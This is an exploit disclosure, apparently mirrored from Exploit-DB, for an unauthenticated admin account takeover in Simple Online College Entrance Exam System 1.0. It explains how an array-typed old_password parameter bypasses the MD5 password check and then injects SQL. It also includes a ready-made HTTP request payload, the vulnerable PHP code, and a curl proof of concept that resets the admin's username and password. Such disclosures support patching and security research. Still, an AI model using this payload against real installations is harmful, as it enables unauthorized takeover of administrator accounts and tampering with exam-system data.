Simple Online College Entrance Exam System 1.0 – Account Takeover

  • 作者: Amine ismail
    日期: 2021-10-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50397/
  • # Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
    # Date: 07.10.2021
    # Exploit Author: Amine ismail @aminei_
    # Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
    # Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
    # Version: 1.0
    # Tested on: Windows 10, Kali Linux
    # Unauthenticated password change leading to account takeover
    
    Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.
    
    Request:
    POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Content-Length: 129
    
    id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test
    
    Vulnerable code in Actions.php:
    function update_credentials(){
    extract($_POST);
    $data = "";
    foreach($_POST as $k => $v){
    if(!in_array($k,array('id','old_password')) && !empty($v)){
    if(!empty($data)) $data .= ",";
    if($k == 'password') $v = md5($v);
    $data .= " `{$k}` = '{$v}' ";
    }
    }
    ...
    if(!empty($password) && md5($old_password) != $_SESSION['password']){
    $resp['status'] = 'failed';
    $resp['msg'] = "Old password is incorrect.";
    }else{
    $sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
    @$save = $this->query($sql);
    
    PoC that changes the password and username of user 'admin' to 'exploitdb':
    curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'